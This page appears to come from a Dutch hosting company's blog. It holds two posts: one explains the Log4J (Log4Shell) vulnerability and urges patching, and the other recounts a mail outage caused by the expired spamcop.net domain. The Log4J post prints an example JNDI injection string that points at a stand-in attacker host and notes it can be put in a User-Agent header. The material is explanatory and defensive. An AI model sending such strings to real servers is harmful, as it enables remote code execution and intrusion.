Browse Category: Allerlei

Log4J – grootschalige zero-day exploit zet het Internet op zijn kop

Het internet staat de laatste dagen in brand. Afgelopen week werd een exploit ontdekt in Apache’s Log4J, een opensource log library dat veel wordt verwerkt in allerhande toepassingen gebasseerd op Java. De officiële naam voor deze bug in de Common Vulnerabilities and Exposures database (afgekort CVE) is CVE-2021-44228. Doordat deze exploit zo eenvoudig uit te buiten is, is menig systeembeheerder nerveus.

Wat is Log4J nu juist?

Log4J is dus een opensource library geschreven in het populaire Java. Log4J stelt applicaties in staat om op een zeer eenvoudige manier acties die gebeuren in de applicaties te gaan loggen. Een eenvoudig voorbeeld zou kunnen zijn wanneer een gebruiker zich aanmeldt op een webapplicatie met zijn gebruikersnaam/wachtwoord, we hiervan een melding opnemen in logbestanden.

De Log4J module zal je als systeembeheerder echter niet rechtstreeks terugvinden in de lijst met geïnstalleerde applicaties. Log4J is een module die vaak mee ingebakken zit in een 3rd party applicatie om daar logging te verzorgen. Laat net dit een groot probleem vormen bij deze exploit: je weet als systeembeheerder potentieel niet of Log4J aanwezig is in jouw omgeving. Wil je weten of een applicatie gebruik maakt van Log4J, dan zal je navraag moeten doen bij je software leverancier.

Op Github circuleren ondertussen gigantische lijsten van vendors en producten die geïmpacteerd zijn door deze exploit en hoe dit mogelijks op te lossen is.

Hoe kan Log4J misbruikt worden?

Wat er exact ontdekt is, is dat een bepaalde attackstring als userinput kan meegegeven worden aan een applicatie. De userinput kan eenvoudig gemanipuleerd worden door een malafide URL toe te voegen met daarachter een payload. Deze input zal door Log4J opgenomen worden en vervolgens zal de payload worden uitgevoerd.

De aanvaller kan op deze manier een zogenaamde remote shell krijgen op de server. Vandaar ook dat men deze exploit log4shell noemt.

Voorbeeld:

  • Een aanvaller vult bijvoorbeeld een formulier in met malafide content zoals bijvoorbeeld ${jndi:ldap://www.attacker.com/a}.
  • De applicatie gaat deze input loggen via Log4J, door de exploit gaat Log4J de url attacker.com volgen en uitvoeren.
  • Er heeft zich een Remote Code Execution voorgedaan en de malafide content is gedownload op de server én uitgevoerd. De aanvaller heeft nu potentieel toegang tot de server.

Maar het kan nog eenvoudiger. Wanneer een aanvaller de HTTP Useragent wijzigt van een gebruiker naar zo’n malafide url, dan zal zich een identiek proces voordoen en eentje dat zeer eenvoudig te automatiseren is. Dat is wat we nu ook op grote schaal zien: servers worden extern getest om te zien of ze kwetsbaar zijn voor deze exploit en zullen mogelijks op later tijdstip aangevallen worden.

Description of the CVE-2021-44228 vulnerability

Description of the CVE-2021-44228 vulnerability

Wat moet je ondernemen?

We hebben in het verleden al meermaals exploits gezien, maar deze beperkte zich telkens tot een afgelijnde set toepassingen of applicaties. Wat de Log4J exploit uniek maakt is dat het een exploit betreft in een library die ingesloten is in zeer veel andere producten of diensten.

Minecraft was een van de eerste applicaties die getroffen was door Log4J waar men er op een ludieke manier misbruik van maakte. Maar het zal niet bij deze ludieke acties blijven. We zien dat Log4J momenteel vooral uitgebuit wordt om cryptominers te installeren op geïnfecteerde machines om zo cryptomunten te delven. Het is zeker niet uitgesloten dat log4J in de toekomst zal gebruikt worden voor het lanceren van ransomware aanvallen.

Het is vooral belangrijk om jouw systemen zo snel als mogelijk te updaten! Software leveranciers zullen de nodige updates moeten uitbrengen om een recente veilige versie van Log4J te installeren binnen hun pakket. Als ze die niet direct kunnen uitbrengen zijn vaak work-arounds beschikbaar om tijdelijk Log4J uit te schakelen om zo het gevaar te elimineren.

Daarnaast is het ook belangrijk om de evoluties aangaande deze exploit op de voet te volgen.  Zo was er recent een melding dat er opnieuw een kwetsbaarheid gevonden was in de patch die de problemen zou moeten verhelpen. (Beveiligingsonderzoekers melden opnieuw kwetsbaarheid in log4j-library – IT Pro – Nieuws – Tweakers)

Ben je niet zeker of Log4J aanwezig is in je onderneming of netwerk is het aangeraden om contact op te nemen met de leverancier van de software pakketten en daar navraag te doen.

Wat heeft Xenius al ondernomen ?

Xenius heeft ondertussen de nodige update gelanceerd op alle managed servers. Beschik je over een unmanaged server, dan raden we je aan om zo snel als mogelijk de nodige updates door te voeren.

Hulp of ondersteuning nodig?

Onze support staat klaar om je te helpen. Contacteer ons via support@xenius.be.

Hoe één verlopen domeinnaam heel wat mail verkeer stil legde

Zondagochtend 30/01/21 Amerikaanse tijd –  namiddag bij ons – , het domein spamcop.net heeft zijn vervaldatum bereikt en werd door Cisco – de eigenaar van het domein – niet tijdig vernieuwd bij hun domeinnaam registrar Enom. Het gevolg hiervan was dat inkomende mail op gigantisch veel mail servers plots gedropt werd omdat deze gemarkeerd werd als ‘SPAM’.

Anti-Spam mechanismen

Wanneer een mailserver e-mails ontvangt is meer dan 50% van alle inkomende berichten SPAM, mail die je als ontvanger liever niet in je mailbox wenst te ontvangen.

Mailservers gebruiken

allerhande mechanismen om aan de hand van de herkomst van de e-mail te detecteren of een bericht SPAM is of niet. Welke controles een mailserver uitvoert hangt helemaal af van hoe de beheerder van zijn server deze heeft ingesteld. Zo kunnen er controles gebeuren op SPF records, reverse DNS, greylisting,… .

Ook controle op RBLs zijn een gekende manier om te controleren of een bericht al dan niet spam is, we mogen wel stellen dat RBLs veelvuldig gebruikt worden. Het is hier waar het foutliep.

Wat is een RBL en hoe gebruiken mailservers die?

RBL is de afkorting van Realtime Blackhole List. Een RBL lijst bevat een lijst met ip adressen van computers of servers die recent zijn gebruikt voor het versturen van spam berichten. Wanneer je spam berichten ontvangt en deze aanmeld bij zo’n RBL lijst dan is de kans reëel dat het ip adres van de verzender van dat bericht zal opgenomen worden in die RBL lijst. Maakt de ontvangende mailserver gebruik van deze RBL dan zal de volgende email die komt van dit IP adres gemarkeerd worden als zijnde SPAM.
Welke actie een server neemt op het ontvangen van een SPAM bericht is ook weer helemaal de keuze van de server beheerder. (weggooien, taggen als JUNK,…)

Wanneer een mailserver geconfigureerd is om gebruik te maken van een RBL dan zal bij elk inkomend bericht de RBL afgetoetst worden om te controleren of dit ip adres is opgenomen in de RBL of niet, in het geval van Spamcop gebeurt dit door een aanvraag te doen naar het domein bl.spamcop.net voorafgegaan door het ip adres in omgekeerde volgorde.

nslookup 30.16.59.185.bl.spamcop.net

Met bovenstaand commando controleren we of ons ip adres 185.59.16.30 opgenomen is op de Spamcop RBL, krijgen we geen feedback terug dan weten we dat het ip adres niet is opgenomen, krijgen we wel iets terug dan is het ip adres opgenomen in de RBL en is de afzender gekend als een bron van spam en moet de mailserver het bericht behandelen als een spam bericht.

Hoe kon het dan zo fout lopen?

Wanneer een domein vervalt wordt het domein bevroren zodat het onbruikbaar zal worden op het Internet, het zal met andere woorden niet meer resolven op DNS aanvragen. Het domein spamcop.net werd echter na vervaldag omgeleid naar een Sedo landingspagina dit werd gedaan door middel van een wildcard redirect voor *.spamcop.net, deze omleiding werd ingezet door de registrar van het domein Enom.

Wanneer een mailserver dus een RBL check van een inkomende mail wilde doen kwam hij telkens op deze landingspagina terecht. Hierdoor kreeg de test feedback terug (een landingspagina) en werd de verzendende server onterecht als spam gemarkeerd.
Hierdoor werd onterecht gigantisch veel mail niet (of niet correct) afgeleverd.

Ook mail vanuit Office 365 werd op servers die Spamcop gebruikten geweigerd.

Cisco heeft in de loop van de namiddag bij ons het domein opnieuw geactiveerd, het heeft uiteindelijk nog enkele uren in beslag genomen voordat de nameservers wereldwijd hiervan terug op de hoogte waren en de juiste DNS records terug hadden en de dienst terug volledig operationeel was.

Hoe heeft Xenius hierop gereageerd?

Vanaf het moment we meldingen binnen kregen van verschillende klanten met betrekking tot mail problematiek wisten we meteen dat er iets anders aan de hand was. De Spamcop RBL controles zijn op al onze servers uitgeschakeld geweest.
Later deze week zullen we deze RBL terug activeren nadat we 100% weten dat de problemen verholpen zijn en de domeinen terug wereldwijd correct resolven.